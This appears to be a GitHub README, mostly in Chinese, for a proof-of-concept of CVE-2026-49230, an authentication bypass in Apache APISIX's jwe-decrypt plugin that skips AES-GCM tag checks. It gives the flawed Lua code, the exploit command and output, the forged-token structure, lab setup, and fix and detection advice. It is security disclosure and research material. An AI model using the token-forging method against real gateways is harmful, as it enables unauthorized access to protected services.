BiiTts/CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass

GitHub: BiiTts/CVE-2026-49230-APISIX-jwe-decrypt-Auth-Bypass

Apache APISIX jwe-decrypt 插件 AES-GCM 标签验证缺失导致身份验证绕过漏洞(CVE-2026-49230)的概念验证工具,附带复现环境和利用脚本。

Stars: 0 | Forks: 0

# CVE-2026-49230 — Apache APISIX `jwe-decrypt` 身份验证绕过 Apache APISIX `jwe-decrypt` 插件中身份验证绕过的概念验证。 该插件解密 JWE token 并将其明文转发给上游,充当身份验证门禁——但它**从不验证 AES-GCM 身份验证标签**。只要 token 携带有效的 consumer `kid`,无论其密文和标签多么虚假都会被接受,因此,知道任何 consumer key 的攻击者( 在每个合法 token 的 header 中均以明文形式传输)**无需知道 AES secret** 即可 通过门禁。 | | | |---|---| | **CVE** | CVE-2026-49230 | | **Product** | Apache APISIX (`jwe-decrypt` plugin) | | **Affected** | 3.8.0 – 3.16.0 | | **Fixed** | 3.17.0 | | **Class** | CWE-354 — 不当的完整性校验值验证 | | **CVSS 3.1** | 9.1 (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) | | **Auth** | 未经身份验证(需要有效的 consumer `kid`,而非 secret) | | **Published** | 2026-06-19 | | **Status** | **已确认** — 在 3.16.0 上完成端到端复现;在 3.17.0 上被拒绝 | ## 根本原因 `apisix/plugins/jwe-decrypt.lua`(tag 3.16.0): ``` local function jwe_decrypt_with_obj(o, consumer) ... local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag)) return decrypted -- returns ONE value end function _M.rewrite(conf, ctx) ... local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer) if err ~= nil then -- err is ALWAYS nil -> dead guard return 400, { message = "failed to decrypt JWE token" } end core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes end ``` 当 GCM 身份验证标签不匹配时,`aes:decrypt()` 会返回 `nil`,但该返回值被丢弃了, 并且调用者检查了一个不存在的 `err`,而它始终为 `nil`。因此,完整性校验从未被强制执行: 任何带有可解析 `kid` 的 JWE 都会通过身份验证。而 AES secret(攻击者唯一不应该拥有的东西) 实际上根本不需要。 3.17.0 中的修复传播了该错误(`return decrypted, err`)并将守卫条件切换为 `if not plaintext then return 400`。同样的修复还移除了 插件公开的 `GET /apisix/plugin/jwe/encrypt` token 生成 API。 有关完整的代码级演练,请参见 [`ANALYSIS.md`](ANALYSIS.md)。 ## 漏洞利用 ``` python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key ``` ``` [*] consumer kid : alice-key (NO AES secret used) [*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw... [1] no token -> HTTP 403 {"message":"missing JWE token in request"} [2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None [+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream. ``` 伪造的 token 是 `base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag`。只有 header(带有有效的 `kid`)是重要的;它后面的所有内容 都是攻击者选择的垃圾数据。 ## 复现 ``` cd lab ./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host) python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build ./teardown.sh ``` 此环境没有 Docker bridge,因此实验环境使用 `--network host` (etcd 在 `:2379`,APISIX 数据平面在 `:9080`,admin 在 `:9180`,后端在 `:8080`)。 ## 判别结果(排除误报) | Request | 3.16.0 (vulnerable) | 3.17.0 (patched) | |---|---|---| | no token | 403 `missing JWE token` | — | | malformed token (<5 parts) | 400 `JWE token invalid` | — | | invalid `kid` + garbage crypto | 400 `invalid kid` | — | | **valid `kid` + garbage crypto** | **200 upstream reached** | **400 `failed to decrypt`** | 除了 GCM 完整性校验之外,所有控制措施都得到了执行,并且完全相同的伪造 token 在修复边界处从 200 变为了 400——该绕过具体是由于缺少完整性验证, 而不是配置错误的路由。完整的记录请见 [`EVIDENCE.txt`](EVIDENCE.txt)。 ## 影响 任何信任 APISIX 的 `jwe-decrypt` 门禁进行身份验证的上游,都可能 被拥有单个有效 consumer `kid` 的未授权攻击者访问。由于有效的 `kid` 在每个合法签发的 token 的 JWE header 中以明文暴露,因此一个被捕获或泄露的 token——或者一个可猜测的 consumer key——就足以伪造无限的被接受 token 并绕过 网关的身份验证边界。 ## 修复建议 - 将 Apache APISIX 升级到 **3.17.0** 或更高版本。 - 在此之前,不要依赖 `jwe-decrypt` 作为唯一的身份验证控制; 叠加一个独立的身份验证插件(例如 `key-auth`/`jwt-auth`)或一个验证 转发身份的上游检查。 ## 检测 那些通过 `jwe-decrypt` 身份验证,却向上游转发空/缺失 身份 header 的请求(解密静默产生了 `nil`)是一个强烈的信号。留意 通过网关的 `Authorization: Bearer ` 请求,而上游却未收到任何可用的转发 header。 ## 致谢 研究与 PoC 由 Caio Fabrício ([@BiiTts](https://github.com/BiiTts)) 完成。 ## 许可证 MIT — 详见 [LICENSE](LICENSE)。
标签:Apache APISIX, JWE, Modbus, PoC, rizin, 暴力破解, 请求拦截, 身份认证绕过, 逆向工具